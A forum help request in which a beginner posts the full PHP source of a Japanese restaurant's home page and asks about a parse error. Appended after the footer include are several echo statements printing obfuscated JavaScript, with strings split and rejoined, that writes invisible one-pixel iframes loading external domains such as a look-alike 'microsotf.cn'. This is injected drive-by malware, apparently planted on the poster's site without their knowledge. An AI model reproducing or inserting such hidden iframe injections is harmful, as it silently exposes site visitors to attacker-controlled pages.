Parse error: syntax error, unexpected T_STRING, expecting ',' or ';'

[Ningjujub]

Please Help New Bigginer PHP
I have an error "Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /data/10/0/124/29/939192/user/964887/htdocs/tombojapanese/home.php on line 39"
I couldn't find the solution to solve this error. I need advice please.
This is the whole code below:
<? include ("top.php");
?>

					<div class="leftpart">
					<img src="images/bigimg_1.jpg" alt="" width="635" height="458" border="0" usemap="#Map" />

<map name="Map" id="Map"><area shape="rect" coords="192,421,273,431" href="hibachi_dinner.php" />
<area shape="rect" coords="500,438,584,450" href="tikimenu-drinks.php"/>
</map>

			  </div>
					<div class="rightpart">
						<div class="tombo">
							<p>Tombo is an exquisite full service Japanese Restaurant. Enjoy the freshest 
							sushi, fine traditional cuisine &amp; teppanyaki cooking where your meal is prepared 
							before you on hibachi grills throughout the dining room. Don&rsquo;t miss a Zombie, 
							Nutty Monkey or Mai Thai from our fun, island style Tiki lounge too!<br /><br />
							Specializing in birthday celebrations and other festive occasions, 
							the hibachi tables are ideal for family, friends &amp; business groups 
							or have one of our sushi chefs make sushi at your next home party!<br /><br />
							For a quiet and intimate experience, dine in our 
							traditional room or have a seat at the sushi bar. 
							When the weather is beautiful our walls open up to the 
							outdoors where you can also dine al fresco on the sidewalk.
							</p>
							<div align="right"><img src="images/small_logo.gif" alt="" /></div>
						</div>
					</div>

<? include ("footer.php"); ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo '

<script type="text/javascript">

try {

var pageTracker = gat.getTracker("UA-7623457-2");

pageTracker._trackPageview();

} catch(err) {}</script>'; ?><?php echo '<script type="text/javascript">try {var pageTracker = gat.getTracker("UA-32645524-1");pageTracker._trackPageview();} catch(err) {}</script>'; ?><?php echo ''; ?><?php echo ''; ?><?php echo '<script>document.write("<"+"i"+"f"+"ram"+"e sr"+"c=\"h"+"t"+"tp"+":"+"/"+"/tr"+"ught"+""+"s"+"a.c"+"o"+"m/\" wid"+"th=1 he"+"ight"+"="+"2></if"+"r"+"a"+""+"me>");</script>'; ?><?php echo '<script>document.write("<i"+"fr"+"a"+"me s"+"rc=\"h"+"tt"+"p"+":"+"/"+"/tru"+"ght"+""+"sa.c"+"o"+"m"+"/\" wid"+"th=1 he"+"ight"+"="+"2></i"+"fra"+""+"m"+""+"e>");</script>'; ?><?php echo '<script>document.write("<if"+'ra'+"m"+'e s'+"rc=\"h"+'tt'+"p:"+''+"/"+'/mic'+"roso"+'t'+'f.c'+"n"+'/'+"\" wid"+'th=1 he'+"igh"+'t'+"="+"2></i"+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?><?php echo ''; ?><?php echo '<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?><?php echo '<script>document.write("<i" +"fra" +"me "+ "s" +"r" +"c=http:" +"/" +"/"+ "u"+ "pdate" +"d" +"a" +"te." +"c" +"n" +"/" +" h" +"e" +"i" +"ght=1 " +"wid" +"t" +"h=1" +"><" +"/ifr"+ "am"+ "e" +">")</script>'; ?>